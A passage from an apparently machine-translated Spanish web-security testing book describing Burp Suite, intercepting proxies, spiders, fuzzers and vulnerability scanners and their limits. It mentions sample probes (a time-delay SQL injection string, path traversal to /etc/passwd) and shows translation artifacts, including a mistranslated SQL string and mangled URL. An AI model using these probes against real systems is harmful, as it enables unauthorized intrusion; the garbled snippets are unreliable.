Otra situación en la que los certificados SSL de cosecha propia del proxy pueden causar
problemas es cuando utiliza un cliente pesado que se ejecuta fuera del navegador.
Normalmente, estos clientes simplemente no se conectan si se recibe un certificado SSL no
válido y no proporcionan ninguna forma de aceptar el certificado.
Afortunadamente, hay una forma sencilla de eludir estos problemas. Durante la instalación ,
Burp Suite genera un certificado de CA único para el usuario actual y lo almacena en la
máquina local. Cuando Burp Proxy recibe una solicitud HTTPS para un nuevo dominio, crea
un nuevo certificado de host para este dominio sobre la marcha y lo firma con el certificado de
CA. Esto significa que el usuario puede instalar el certificado CA de Burp como una raíz de
confianza en su navegador (u otra tienda de confianza). Todos los certificados por host
resultantes se aceptan como válidos, eliminando así todos los errores de SSL causados por el
proxy.
El método preciso para instalar el certificado de CA depende del navegador y la plataforma.

Esencialmente implica los siguientes pasos:
1. Visite cualquier URL HTTPS con su navegador a través del proxy.

2. En la advertencia del navegador resultante, explore la cadena de certificados y
seleccione el certificado raíz en el árbol (llamado PortSwigger CA).
3. Importe este certificado en su navegador como raíz de confianza o autoridad
certificadora. Dependiendo de su navegador, es posible que primero deba exportar el
certificado y luego importarlo en una operación separada.
Instrucciones detalladas para instalar el certificado CA de Burp en diferentes navegadores

se encuentran en la documentación en línea de Burp Suite en la siguiente URL:
http://portswigger.net/burp/help/servercerts.html
Características comunes de los proxys interceptores

Además de su función principal de permitir la interceptación y modificación de solicitudes y
respuestas, los proxies de interceptación suelen contener una gran cantidad de otras
funciones para ayudarlo a atacar las aplicaciones web:
n Reglas de interceptación detalladas, que permiten que los mensajes se intercepten

para su revisión o reenvío silencioso, en función de criterios como el host de destino,
la URL, el método, el tipo de recurso, el código de respuesta o la aparición de
expresiones específicas (consulte la Figura 20-5) . En una aplicación típica, la gran
mayoría de las solicitudes y respuestas son de poco interés para usted. Esta función
le permite configurar el proxy para marcar solo los mensajes que le interesan.
n Un historial detallado de todas las solicitudes y respuestas, lo que permite revisar los
mensajes anteriores y pasarlos a otras herramientas de la suite para un análisis más
detallado (consulte la Figura 20-6). Puede filtrar y buscar en el historial del proxy para
encontrar rápidamente elementos específicos, y puede anotar elementos interesantes
para futuras referencias. n Reglas automatizadas de emparejar y reemplazar para
modificar dinámicamente el contenido de solicitudes y respuestas. Esta función puede
ser útil en numerosas situaciones. Los ejemplos incluyen reescribir el valor de una
cookie u otro parámetro en todas las solicitudes, eliminar las directivas de caché y
simular un navegador específico con el encabezado User-Agent . n Acceso a la
funcionalidad de proxy directamente desde el navegador, además de la interfaz de usuario
del cliente. Puede navegar por el historial del proxy y volver a emitir solicitudes
individuales desde el contexto de su navegador, lo que permite que las respuestas se
procesen e interpreten por completo de la forma habitual.
n Utilidades para manipular el formato de los mensajes HTTP, como la conversión entre
diferentes métodos de solicitud y codificaciones de contenido. A veces , estos pueden
ser útiles cuando se ajusta un ataque, como las secuencias de comandos entre sitios.
n Funciones para modificar automáticamente ciertas funciones HTML sobre la marcha. Puede
mostrar los campos de formulario ocultos, eliminar los límites de campo de entrada y eliminar
la validación de formulario de JavaScript.
Figura 20-5: Burp proxy admite la configuración de reglas detalladas para interceptar
solicitudes y respuestas
Figura 20-6: El historial del proxy, que le permite ver, filtrar, buscar y anotar
solicitudes y respuestas realizadas a través del proxy
Arañas de aplicaciones web

Las arañas de aplicaciones web funcionan de manera muy similar a las arañas web tradicionales.
Solicitan páginas web, las analizan en busca de enlaces a otras páginas y luego solicitan esas
páginas, continuando recursivamente hasta que se descubre todo el contenido de un sitio. Para
adaptarse a las diferencias entre las aplicaciones web funcionales y los sitios web tradicionales,
las arañas de aplicaciones deben ir más allá de esta función central y abordar varios otros
desafíos:
n Navegación basada en formularios, usando listas desplegables, ingreso de texto y otros

métodos
n Navegación basada en JavaScript, como menús generados dinámicamente n
Funciones de varias etapas que requieren que las acciones se realicen en una secuencia defi nida
n Autenticación y sesiones
n El uso de identificadores basados en parámetros, en lugar de la URL, para especificar

diferentes contenidos y funciones. n La aparición de tokens y otros parámetros volátiles
dentro de la cadena de consulta de la URL, lo que genera problemas para identificar

contenido único.
Varios de estos problemas se abordan en conjuntos de pruebas integradas al compartir

datos entre el proxy de interceptación y los componentes de la araña. Esto le permite usar la
aplicación de destino de la manera normal, con todas las solicitudes procesadas por el proxy y
pasadas a la araña para su análisis posterior. Su navegador y sus acciones se encargan de
cualquier mecanismo inusual para la navegación, la autenticación y el manejo de la sesión . Esto
permite que la araña construya una imagen detallada del contenido de la aplicación bajo su
control detallado.
Esta técnica de spidering dirigida por el usuario se describe en detalle en el Capítulo 4.
Habiendo reunido la mayor cantidad de información posible, la araña se puede lanzar para
investigar más a fondo por su cuenta, descubriendo potencialmente contenido y funcionalidad
adicionales.
Las siguientes características se implementan comúnmente dentro de las arañas de
aplicaciones web :
n Actualización automática del mapa del sitio con URL a las que se accede a través de la intercepción
proxy de ing.
n Rastreo pasivo del contenido procesado por el proxy, analizándolo en busca de enlaces y
agregándolos al mapa del sitio sin solicitarlos realmente (consulte la Figura 20-7).
n Presentación del contenido descubierto en forma de tabla y árbol, con la facilidad de

buscar estos resultados.
n Control detallado sobre el alcance del spidering automatizado. Esto le permite especificar
qué nombres de host, direcciones IP, rutas de directorio, tipos de archivos,
y otros elementos que la araña debe solicitar para centrarse en un área particular de
funcionalidad. Debe evitar que la araña siga enlaces inapropiados dentro o fuera de la
infraestructura de la aplicación de destino. Esta función también es esencial para evitar
el uso de funcionalidades poderosas como las interfaces administrativas, que pueden
causar efectos secundarios peligrosos, como la eliminación de cuentas de usuario.
También es útil para evitar que la araña solicite la función de cierre de sesión, invalidando
así su propia sesión. n Análisis automático de formularios HTML, scripts, comentarios e
imágenes, y
análisis de estos dentro del mapa del sitio.
n Análisis de contenido de JavaScript para URL y nombres de recursos. Incluso si no se

implementa un motor de JavaScript completo, esta función a menudo permite que una
araña descubra los objetivos de la navegación basada en JavaScript, ya que estos
generalmente aparecen en forma literal dentro del script.
n Envío automático y guiado por el usuario de formularios con parámetros adecuados (ver
Figura 20-8).
n Detección de respuestas personalizadas de Archivo no encontrado. Muchas
aplicaciones responden con un mensaje HTTP 200 cuando se solicita un recurso no válido.
Si las arañas no pueden reconocer esto, el mapa de contenido resultante contendrá
falsos positivos.
n Comprobación del archivo robots.txt , cuyo objetivo es proporcionar una lista negra
de direcciones URL que no deben rastrearse, pero que una araña atacante puede
usar para descubrir contenido adicional.
n Recuperación automática de la raíz de todos los directorios enumerados. Esto puede

resultar útil para comprobar las listas de directorios o el contenido predeterminado
n Procesamiento automático y uso de cookies emitidas por la aplicación para permitir que
se realice el rastreo en el contexto de una sesión autenticada. n Prueba automática de
dependencia de sesión de páginas individuales. Esto implica solicitar cada página con y sin
cookies que se hayan recibido. Si se recupera el mismo contenido, la página no requiere
una sesión o autenticación. Esto puede ser útil cuando se buscan algunos tipos de fallas
de control de acceso (consulte el Capítulo 8).
n Uso automático del encabezado Referer correcto al emitir solicitudes. Algunas

aplicaciones pueden verificar el contenido de este encabezado, y esta función
garantiza que la araña se comporte tanto como sea posible como un navegador normal.
n Control de otros encabezados HTTP utilizados en spidering automatizado.
n Control sobre la velocidad y el orden de las solicitudes de araña automatizadas para

evitar abrumar al objetivo y, si es necesario, comportarse de forma sigilosa.
manera.
Figura 20-7: Los resultados del spidering pasivo de aplicaciones, donde los elementos en gris
se identificaron pasivamente pero aún no se solicitaron
Figura 20-8: Burp Spider solicita orientación al usuario al enviar

formularios
Fuzzers de aplicaciones web
Aunque es posible realizar un ataque con éxito usando solo técnicas manuales ,
para convertirse en un hacker de aplicaciones web realmente exitoso, necesita
automatizar sus ataques para mejorar su velocidad y efectividad. capitulo 14
describió en detalle las diferentes formas en que se puede utilizar la automatización en ataques
personalizados. La mayoría de los conjuntos de pruebas incluyen funciones que aprovechan la
automatización para facilitar varias tareas comunes. Aquí hay algunas características comúnmente implementadas:
n Sondeo configurado manualmente para vulnerabilidades comunes. Esta función le permite

controlar con precisión qué cadenas de ataque se utilizan y cómo se incorporan a las
solicitudes. Luego puede revisar los resultados para identificar cualquier respuesta inusual o
anómala que merezca una mayor investigación. n Un conjunto de cargas útiles de ataque
integradas y funciones versátiles para generar cargas útiles arbitrarias de formas definidas por el
usuario, por ejemplo, basadas en codificación mal formada, sustitución de caracteres, fuerza
bruta y datos recuperados en un ataque anterior. n La capacidad de guardar los resultados de
los ataques y los datos de respuesta para usarlos en informes o incorporarlos en otros ataques.
n Funciones personalizables para ver y analizar respuestas, por ejemplo, en función de la

apariencia de expresiones específi cas o de la propia carga útil del ataque (consulte la Figura
20-9). n Funciones para extraer datos útiles de las respuestas de la aplicación, por ejemplo,
analizando los campos de nombre de usuario y contraseña en una página Mis detalles. Esto
puede ser útil cuando explota varias vulnerabilidades, incluidas fallas en el manejo de sesiones
y controles de acceso.
Figura 20-9: Los resultados de un ejercicio de fuzzing usando Burp Intruder

Escáneres de vulnerabilidad web

Algunas suites de prueba integradas incluyen funciones para buscar vulnerabilidades
comunes de aplicaciones web. El escaneo que se realiza se divide en dos categorías:
n El escaneo pasivo implica monitorear las solicitudes y las respuestas que pasan a través
del proxy local para identificar vulnerabilidades, como el envío de contraseñas en texto
sin cifrar , la configuración incorrecta de cookies y la fuga de referencia entre dominios.
Puede realizar este tipo de escaneo de forma no invasiva con cualquier aplicación que
visite con su navegador. Esta característica suele ser útil cuando se analiza el alcance
de un compromiso de prueba de penetración. Le da una idea de la postura de seguridad
de la aplicación en relación con este tipo de vulnerabilidades. n El análisis activo implica
el envío de nuevas solicitudes a la aplicación de destino para detectar vulnerabilidades,
como secuencias de comandos entre sitios, inyección de encabezado HTTP y recorrido
de ruta de archivo. Como cualquier otra prueba activa, este tipo de análisis es
potencialmente peligroso y solo debe realizarse con el consentimiento del propietario
de la aplicación.
Los escáneres de vulnerabilidades incluidos dentro de los conjuntos de pruebas están más
orientados al usuario que los escáneres independientes que se analizan más adelante en este
capítulo. En lugar de simplemente proporcionar una URL de inicio y dejar que el escáner
rastree y pruebe la aplicación , el usuario puede guiar el escáner por la aplicación, controlar
con precisión qué solicitudes se escanean y recibir comentarios en tiempo real sobre solicitudes
individuales. Aquí hay algunas formas típicas de usar la función de escaneo dentro de un
conjunto de pruebas integradas:
n Después de mapear manualmente el contenido de una aplicación, puede seleccionar

áreas interesantes de funcionalidad dentro del mapa del sitio y enviarlas para escanearlas.
Esto le permite enfocar su tiempo disponible en escanear las áreas más críticas y
recibir los resultados de estas áreas más rápidamente.
n Al probar solicitudes individuales manualmente, puede complementar sus esfuerzos
escaneando cada solicitud específica a medida que la prueba. Esto le brinda
comentarios casi instantáneos sobre las vulnerabilidades comunes para esa solicitud,
lo que puede guiar y optimizar sus pruebas manuales.
n Puede usar la herramienta de rastreo automatizado para rastrear toda la aplicación y
luego escanear todo el contenido descubierto. Esto emula el comportamiento básico de
un escáner web independiente.
n En Burp Suite, puede habilitar el escaneo en vivo mientras navega. Esto le permite guiar
la cobertura del escáner utilizando su navegador y recibir comentarios rápidos sobre
cada solicitud que realiza, sin necesidad de identificar manualmente las solicitudes que
desea escanear. La figura 20-10 muestra los resultados de un ejercicio de exploración
en vivo.
Figura 20-10: Los resultados del escaneo en vivo mientras navega con Burp Scanner
Aunque los escáneres de las suites de pruebas integradas están diseñados para usarse de una
manera diferente a los escáneres independientes, en algunos casos el motor de análisis central
tiene una gran capacidad y se compara favorablemente con los de los principales escáneres
independientes, como se describe más adelante en este capítulo.
Herramientas de solicitud manual
El componente de solicitud manual de las suites de pruebas integradas proporciona la

facilidad básica para emitir una sola solicitud y ver su respuesta. Si bien es simple, esta
función a menudo es beneficiosa cuando está investigando una vulnerabilidad tentativa y
necesita volver a emitir la misma solicitud manualmente varias veces, modificando
elementos de la solicitud para determinar el efecto en el comportamiento de la aplicación.
Por supuesto, podría realizar esta tarea usando una herramienta independiente como Netcat, pero tener la
La función integrada en la suite significa que puede recuperar rápidamente una solicitud interesante de otro
componente (proxy, spider o fuzzer) para una investigación manual . También significa que la herramienta
de solicitud manual se beneficia de las diversas funciones compartidas implementadas dentro de la suite,
como la representación de HTML, la compatibilidad con proxies ascendentes y la autenticación, y la
actualización automática del encabezado de longitud del contenido . La figura 20-11 muestra una solicitud
que se vuelve a emitir manualmente.
Figura 20-11: Una solicitud que se vuelve a emitir manualmente usando Burp Repeater
Las siguientes características a menudo se implementan dentro de las herramientas de solicitud manual:
n Integración con otros componentes de la suite y la capacidad de referir cualquier solicitud

hacia y desde otros componentes para una mayor investigación
n Un historial de todas las solicitudes y respuestas, manteniendo un registro completo de todas las
solicitudes manuales para una revisión adicional y permitiendo recuperar una solicitud modificada
previamente para un análisis más detallado.
n Una interfaz con múltiples pestañas, que le permite trabajar en varios elementos diferentes a la
vez n La capacidad de seguir automáticamente las redirecciones
Analizadores de tokens de sesión
Algunas suites de prueba incluyen funciones para analizar las propiedades de

aleatoriedad de las cookies de sesión y otros tokens utilizados dentro de la aplicación
donde existe la necesidad de imprevisibilidad. Burp Sequencer es una poderosa
herramienta que realiza pruebas estadísticas estándar de aleatoriedad en una
muestra de tokens de tamaño arbitrario y brinda resultados detallados en un formato accesible.
Burp Sequencer se muestra en la Figura 20-12 y se describe con más detalle en el
Capítulo 7.
Figura 20-12: Uso de Burp Sequencer para probar las propiedades de aleatoriedad del
token de sesión de una aplicación
Funciones y utilidades compartidas
Además de sus componentes de herramientas principales, los conjuntos de pruebas integrados brindan
una gran cantidad de otras funciones de valor agregado que abordan las necesidades específicas que
surgen cuando se ataca una aplicación web y que permiten que las otras herramientas funcionen en
situaciones inusuales. Las siguientes características son implementadas por las diferentes suites:
n Análisis de la estructura del mensaje HTTP, incluido el análisis de encabezados y parámetros de

solicitud, y desempaquetado de formatos de serialización comunes (ver
Figura 20-13)
n Representación del contenido HTML en las respuestas tal como aparecería en el
navegador
n La capacidad de mostrar y editar mensajes en formato de texto y hexadecimal n

Funciones de búsqueda dentro de todas las solicitudes y respuestas n Actualización
automática del encabezado HTTP Content-Length después de cualquier edición manual
del contenido del mensaje
n Codificadores y decodificadores incorporados para varios esquemas, lo que permite un análisis rápido
de datos de aplicación en cookies y otros parámetros
n Una función para comparar dos respuestas y resaltar las diferencias n
Características para el descubrimiento automatizado de contenido y el análisis de la
superficie de ataque n La capacidad de guardar en el disco la sesión de prueba actual y recuperar
sesiones
n Compatibilidad con proxies web upstream y proxies SOCKS, lo que le permite

encadenar diferentes herramientas o acceder a una aplicación a través del servidor
proxy utilizado por su organización o ISP n Funciones para manejar sesiones de
aplicaciones, iniciar sesión y solicitar tokens, lo que le permite continuar técnicas
manuales y automatizadas cuando se enfrenta a mecanismos de manejo de sesiones
inusuales o altamente defensivos Compatibilidad en la herramienta con métodos de
autenticación HTTP, lo que le permite utilizar todas las funciones de la suite en entornos
donde se utilizan, como LAN corporativas Compatibilidad con certificados SSL de
clientes cates, lo que le permite atacar aplicaciones
que emplean estos

n Manejo de las funciones más oscuras de HTTP, como la codificación de contenido gzip , la codificación
de transferencia fragmentada y las respuestas provisionales de estado 100 n Extensibilidad, que
permite modificar y ampliar la funcionalidad integrada

en formas arbitrarias por código de terceros
n La capacidad de programar tareas comunes, como rastrear y escanear, lo que le
permite comenzar el día de trabajo dormido
n Configuración persistente de las opciones de la herramienta, lo que permite configurar una configuración particular.
reanudado en la próxima ejecución de la suite
n Independencia de la plataforma, lo que permite que las herramientas se ejecuten en todas las operaciones populares
sistemas de ing
Figura 20-13: Las solicitudes y respuestas se pueden analizar en su

estructura y parámetros HTTP
Flujo de trabajo de prueba
La figura 20-14 muestra un flujo de trabajo típico para usar un conjunto de pruebas integradas.
Los pasos clave involucrados en cada elemento de la prueba se describen en detalle
a lo largo de este libro y se recopilan en la metodología establecida en el Capítulo 21.
El flujo de trabajo descrito aquí muestra cómo los diferentes componentes del conjunto de pruebas
encajan en esa metodología.
En este flujo de trabajo, dirige el proceso de prueba general utilizando su navegador.
A medida que navega por la aplicación a través del proxy de interceptación, la suite recopila dos
repositorios de información clave:
n El historial del proxy registra cada solicitud y respuesta que pasa por
el apoderado
n El mapa del sitio registra todos los elementos descubiertos en una vista de árbol de directorio del
objetivo.
(Tenga en cuenta que en ambos casos, los fi ltros de visualización predeterminados pueden ocultar
algunos elementos que normalmente no son de interés durante la prueba).
Como se describe en el Capítulo 4, a medida que navega por la aplicación, el conjunto de pruebas
generalmente realiza una exploración pasiva del contenido descubierto. Esto actualiza el mapa del sitio
con todas las solicitudes que pasan por el proxy. También agrega elementos que tienen
sido identificado en base al contenido de las respuestas que pasan a través del proxy
(mediante el análisis de enlaces, formularios, scripts, etc.). Después de haber mapeado
manualmente el contenido visible de la aplicación usando su navegador, puede usar
adicionalmente las funciones Spider y Content Discovery para sondear activamente la
aplicación en busca de contenido adicional. Los resultados de estas herramientas también se agregan al mapa del sitio
Reconocimiento y análisis
navegador web
Proxy interceptor
araña
pasiva araña
Araña
activa
Historial de proxy Mapa del sitio
descubrimiento activo Descubrimiento de contenido
superficie de ataque
escaneo Detección y explotación de

pasivo vulnerabilidades
confirmar algunas
vulnerabilidades
en el navegador
Escáner Reloj de repetición Fuzzer

analizador de fichas
vulnerabilidades
Figura 20-14: Un flujo de trabajo típico para usar un conjunto de pruebas integradas
Cuando haya mapeado el contenido y la funcionalidad de la aplicación, puede evaluar su

superficie de ataque. Este es el conjunto de funcionalidades y solicitudes que justifican una
inspección más detallada en un intento de encontrar y explotar vulnerabilidades.
Al probar vulnerabilidades, normalmente selecciona elementos de la ventana de
intercepción de proxy, el historial de proxy o el mapa del sitio, y los envía a otras herramientas
dentro de la suite para realizar tareas específicas. Como hemos descrito, puede usar la
herramienta de fuzzing para investigar vulnerabilidades basadas en entradas y lanzar otros
ataques , como recopilar información confidencial. Puede utilizar el escáner de vulnerabilidades
para comprobar automáticamente las vulnerabilidades comunes, tanto de forma pasiva como pasiva.
técnicas activas. Puede utilizar la herramienta de análisis de tokens para probar las
propiedades de aleatoriedad de las cookies de sesión y otros tokens. Y puede usar el repetidor
de solicitudes para modificar y volver a emitir una solicitud individual repetidamente para
detectar vulnerabilidades o explotar errores que ya haya descubierto. A menudo, pasará
artículos individuales de un lado a otro entre estas diferentes herramientas. Por ejemplo,
puede seleccionar un elemento interesante de un ataque de fuzzing o un problema informado
por el escáner de vulnerabilidades y pasarlo al repetidor de solicitudes para verificar la
vulnerabilidad o refinar un exploit.
Para muchos tipos de vulnerabilidades, normalmente necesitará volver a su navegador
para investigar más a fondo un problema, confirmar si una vulnerabilidad aparente es genuina
o probar un exploit funcional. Por ejemplo, después de haber encontrado una falla de
secuencias de comandos en sitios cruzados usando el escáner de vulnerabilidades o el
repetidor de solicitudes, puede pegar la URL resultante nuevamente en su navegador para
confirmar que se ejecuta la explotación de prueba de concepto. Al probar posibles errores de
control de acceso, puede ver los resultados de solicitudes particulares en su sesión actual del
navegador para confirmar los resultados dentro de un contexto de usuario específico. Si
descubre una falla de inyección SQL que se puede usar para extraer grandes cantidades de
información, puede volver a su navegador como la ubicación más útil para mostrar los resultados.
No debe considerar el flujo de trabajo aquí descrito como rígido o restrictivo. En muchas
situaciones, puede probar errores ingresando una entrada inesperada directamente en su
navegador o en la ventana de intercepción del proxy. Algunos errores pueden ser
inmediatamente evidentes en las solicitudes y respuestas sin la necesidad de involucrar más
herramientas enfocadas en ataques. Puede traer otras herramientas para propósitos
particulares. También puede combinar los componentes del conjunto de pruebas de formas
innovadoras que no se describen aquí y que quizás ni siquiera concibió el autor de la
herramienta. Las suites de prueba integradas son creaciones enormemente poderosas, con
numerosas características interrelacionadas. ¡Cuanto más creativo pueda ser al usarlos, más
probable es que descubra las vulnerabilidades más oscuras!
Alternativas al proxy interceptor

Un elemento que siempre debe tener disponible en su kit de herramientas es una alternativa
a las herramientas habituales basadas en proxy para las situaciones excepcionales en las que
no se pueden utilizar. Tales situaciones suelen surgir cuando necesita usar algún método de
autenticación no estándar para acceder a la aplicación, ya sea directamente o mediante un
proxy corporativo , o cuando la aplicación usa un certificado SSL de cliente inusual o una
extensión de navegador. En estos casos, debido a que un proxy de interceptación interrumpe
la conexión HTTP entre el cliente y el servidor, es posible que la herramienta le impida usar
algunas o todas las funciones de la aplicación.
El enfoque alternativo estándar en estas situaciones es usar una herramienta en el
navegador para monitorear y manipular las solicitudes HTTP generadas por su navegador.
Sigue siendo cierto que todo lo que ocurre en el cliente y todos los datos enviados al servidor
están, en principio, bajo su control total. Si lo desea, puede escribir su propio navegador
totalmente personalizado para realizar cualquier tarea que
requerido. Lo que hacen estas extensiones de navegador es proporcionar una

forma rápida y fácil de instrumentar la funcionalidad de un navegador estándar sin
interferir con las comunicaciones de la capa de red entre el navegador y el
servidor. Por lo tanto, este enfoque le permite enviar solicitudes arbitrarias a la
aplicación mientras permite que el navegador use sus medios normales de
comunicación con la aplicación problemática.
Numerosas extensiones están disponibles tanto para Internet Explorer como para Firefox
que implementan una funcionalidad muy similar. Ilustraremos un ejemplo de cada uno. Le
recomendamos que experimente con varias opciones para encontrar la que mejor se adapte
a sus necesidades.
Debe tener en cuenta que la funcionalidad de las extensiones de navegador existentes es
muy limitada en comparación con los conjuntos de herramientas principales. No realizan
ningún análisis de vulnerabilidades, fuzzing o spidering, y usted está restringido a trabajar
completamente de forma manual. Sin embargo, en situaciones en las que se ve obligado a
usarlos , le permitirán realizar un ataque integral a su objetivo que no sería posible utilizando
solo un navegador estándar.
Alteración de datos
Tamper Data, que se muestra en la Figura 20-15, es una extensión del navegador Firefox.
Cada vez que envía un formulario, Tamper Data muestra una ventana emergente que muestra
todos los detalles de la solicitud, incluidos los encabezados y parámetros HTTP, que puede
ver y modificar.
Figura 20-15: Tamper Data le permite modificar los detalles de la solicitud HTTP dentro de Firefox
sabotaje
TamperIE, que se muestra en la Figura 20-16, implementa esencialmente la misma
funcionalidad dentro del navegador Internet Explorer que Tamper Data en Firefox.
Figura 20-16: TamperIE le permite modificar los detalles de la solicitud

HTTP dentro de Internet Explorer
Escáneres de vulnerabilidad independientes
Existen varias herramientas diferentes para realizar análisis de vulnerabilidades de

aplicaciones web completamente automatizados. Estos escáneres tienen la ventaja de
poder probar una gran cantidad de funciones en un tiempo relativamente corto. En una
aplicación típica , a menudo pueden identificar una variedad de vulnerabilidades importantes.
Los escáneres de vulnerabilidades de aplicaciones web independientes automatizan
varias de las técnicas que hemos descrito en este libro, incluida la búsqueda de
aplicaciones, el descubrimiento de contenido predeterminado y común, y el sondeo de
capacidades de vulnerabilidades comunes. Después de mapear el contenido de la
aplicación, el escáner trabaja a través de su funcionalidad, enviando una variedad de
cadenas de prueba dentro de cada parámetro de cada solicitud y analiza las respuestas
de la aplicación en busca de firmas de vulnerabilidades comunes. El escáner produce un
informe que describe cada una de las vulnerabilidades que ha descubierto. Este informe
generalmente incluye la solicitud y la respuesta específicas que la aplicación usó para
diagnosticar cada vulnerabilidad informada, lo que permite que un usuario informado
investigue y confirme manualmente la existencia del error.
Un requisito clave al momento de decidir si usar un escáner de vulnerabilidades y
cuándo hacerlo es comprender las fortalezas y debilidades inherentes de este tipo de
herramientas y los desafíos que deben abordarse en el curso de su desarrollo. Estas
consideraciones también afectan la forma en que puede hacer uso efectivo de un escáner
automatizado y cómo interpretar y confiar en sus resultados.
Vulnerabilidades detectadas por los escáneres

Los escáneres pueden detectar varias categorías de vulnerabilidades comunes con cierto grado de
confiabilidad. Estas son vulnerabilidades con una firma bastante estándar.
En algunos casos, la firma existe dentro de las solicitudes y respuestas normales de la aplicación.
En otros casos, el escáner envía una solicitud diseñada para activar la firma si la vulnerabilidad está
presente. Si la firma aparece en la respuesta de la aplicación a la solicitud, el escáner infiere que la
vulnerabilidad está presente.
Estos son algunos ejemplos de vulnerabilidades que se pueden detectar de esta manera:
n Las vulnerabilidades de secuencias de comandos entre sitios reflejadas surgen cuando la entrada
proporcionada por el usuario se repite en las respuestas de la aplicación sin la limpieza adecuada.
Los escáneres automatizados normalmente envían cadenas de prueba que contienen
marcado HTML y buscan las respuestas para estas cadenas, lo que les permite detectar
muchas de estas fallas.
n Algunas vulnerabilidades de inyección SQL se pueden detectar a través de una firma. Por
ejemplo, enviar una comilla simple puede generar un mensaje de error de ODBC o enviar la
cadena '; esperar el retraso '0:0:30': puede provocar un retraso de tiempo. n Algunas
vulnerabilidades de recorrido de ruta se pueden detectar enviando una secuencia de recorrido
dirigida a un archivo conocido como win.ini o /etc/passwd y buscando la respuesta para la

aparición de este archivo.
n Algunas vulnerabilidades de inyección de comandos se pueden detectar mediante la inyección

de un comando que provoca un retraso de tiempo o repite una cadena específica en la
respuesta de la aplicación. n Las listas de directorios sencillas se pueden identificar
solicitando la ruta del directorio y buscando una respuesta que contenga texto que parezca una
lista de directorios.
n Las vulnerabilidades, como el envío de contraseñas en texto sin cifrar, las cookies de alcance
liberal y los formularios con autocompletado habilitado, se pueden detectar de manera
confiable al revisar las solicitudes y respuestas normales que realiza la aplicación. n Los
elementos que no están vinculados desde el contenido principal publicado, como los archivos
de copia de seguridad y los archivos de origen, a menudo se pueden descubrir solicitando
cada recurso enumerado con una extensión de archivo diferente.
En muchos de estos casos, algunas instancias de la misma categoría de vulnerabilidad no se

pueden detectar de manera confiable utilizando una cadena y firma de ataque estándar. Por ejemplo,
con muchas vulnerabilidades basadas en la entrada, la aplicación implementa alguna validación de
entrada rudimentaria que se puede eludir usando entrada manipulada. Las cadenas de ataque
habituales pueden bloquearse o desinfectarse; sin embargo, un atacante habilidoso puede sondear
la validación de entrada en su lugar y descubrir una derivación. En otros casos,
una vulnerabilidad puede activarse mediante cadenas estándar, pero es posible que no dé como resultado la
firma esperada. Por ejemplo, muchos ataques de inyección SQL no dan como resultado que se devuelva
ningún dato o mensaje de error al usuario, y una vulnerabilidad de cruce de ruta puede no dar como resultado
que el contenido del archivo de destino se devuelva directamente en la respuesta de la aplicación. En algunos
de estos casos, un escáner sofisticado aún puede identificar la vulnerabilidad, o al menos notar algún
comportamiento anómalo para la investigación manual, pero esto no es factible en todos los casos.
Además, varias categorías importantes de vulnerabilidades no tienen una firma

estándar y no se pueden investigar utilizando un conjunto estándar de cadenas de ataque.
En general, los escáneres automáticos son ineficaces para descubrir defectos de este tipo.
Estos son algunos ejemplos de vulnerabilidades que los escáneres no pueden detectar de manera confiable:
n Controles de acceso rotos, que permiten que un usuario acceda a los datos de otros usuarios, o que
un usuario con pocos privilegios acceda a la funcionalidad administrativa. Un escáner no comprende
los requisitos de control de acceso relevantes para la aplicación, ni puede evaluar la importancia de
las diferentes funciones y datos que descubre usando una cuenta de usuario en particular. n Ataques
que involucran la modificación del valor de un parámetro de una manera que tiene significado dentro
de la aplicación, por ejemplo, un campo oculto que representa el precio de un artículo comprado o el
estado de un pedido. Un escáner no entiende el significado que tiene cualquier parámetro dentro de
la funcionalidad de la aplicación.
n Otras fallas lógicas, como superar un límite de transacción usando un valor negativo, o pasar por alto
una etapa de un proceso de recuperación de cuenta al omitir un parámetro de solicitud clave.
n Vulnerabilidades en el diseño de la funcionalidad de la aplicación, como reglas de calidad de

contraseña débiles, la capacidad de enumerar nombres de usuario a partir de mensajes de
falla de inicio de sesión y sugerencias fáciles de adivinar sobre contraseñas olvidadas. n
Ataques de secuestro de sesión en los que se puede detectar una secuencia en los tokens de
sesión de la aplicación, lo que permite que un atacante se haga pasar por otros usuarios.
Incluso si un escáner puede reconocer que un parámetro en particular tiene un valor predecible a
través de inicios de sesión sucesivos, no comprenderá la importancia del contenido diferente que
resulta de modificar ese parámetro. n Fuga de información confidencial, como listados de nombres
de usuario y registros
que contienen tokens de sesión.
Algunos escáneres de vulnerabilidades intentan comprobar algunas de estas vulnerabilidades.

Por ejemplo, algunos escáneres intentan localizar errores de control de acceso iniciando
sesión en una aplicación en dos contextos de usuario diferentes e intentando identificar
datos y funciones a los que un usuario puede acceder sin la debida autorización. Según la
experiencia de los autores, las comprobaciones de este tipo suelen generar una gran
cantidad de resultados falsos positivos y falsos negativos.
Dentro de las dos listas anteriores de vulnerabilidades, cada lista contiene defectos que
pueden clasificarse como fruta fácil de alcanzar, aquellos que un atacante con habilidades
modestas puede detectar y explotar fácilmente. Por lo tanto, aunque un escáner automatizado
a menudo detectará una proporción decente de la fruta madura dentro de una aplicación,
normalmente también perderá una cantidad significativa de estos problemas , ¡incluyendo
algunas frutas maduras que cualquier ataque manual detectaría!
Obtener un certificado de buena salud de un escáner automatizado nunca proporciona una
garantía sólida de que la aplicación no contenga algunas vulnerabilidades graves que se
puedan encontrar y explotar fácilmente.
También es justo decir que en las aplicaciones más críticas para la seguridad que existen
actualmente, que han estado sujetas a requisitos y pruebas de seguridad más estrictos, las
vulnerabilidades que quedan tienden a ser las que aparecen en la segunda lista, en lugar de
las primeras. .
Limitaciones inherentes de los escáneres

Los mejores escáneres de vulnerabilidades del mercado fueron diseñados e implementados
por expertos que han pensado seriamente en las posibles formas en que se pueden detectar
todo tipo de vulnerabilidades de aplicaciones web. No es casualidad que los escáneres
resultantes sigan siendo incapaces de detectar de forma fiable muchas categorías de
vulnerabilidades. Un enfoque totalmente automatizado para las pruebas de aplicaciones web
presenta varias barreras inherentes. Estas barreras solo se pueden abordar de manera
efectiva mediante sistemas con motores de inteligencia artificial en toda regla, que van mucho
más allá de las capacidades de los escáneres actuales.
Cada aplicación web es diferente
Las aplicaciones web difieren marcadamente del dominio de las redes y las infraestructuras ,
en las que una instalación típica emplea productos listos para usar en configuraciones más o
menos estándar. En el caso de la infraestructura de red, en principio es posible construir por
adelantado una base de datos de todos los objetivos posibles y crear una herramienta para
investigar cada defecto asociado. Esto no es posible con aplicaciones web personalizadas,
por lo que cualquier escáner efectivo debe esperar lo inesperado.
Los escáneres funcionan con sintaxis
Las computadoras pueden analizar fácilmente el contenido sintáctico de las respuestas de la

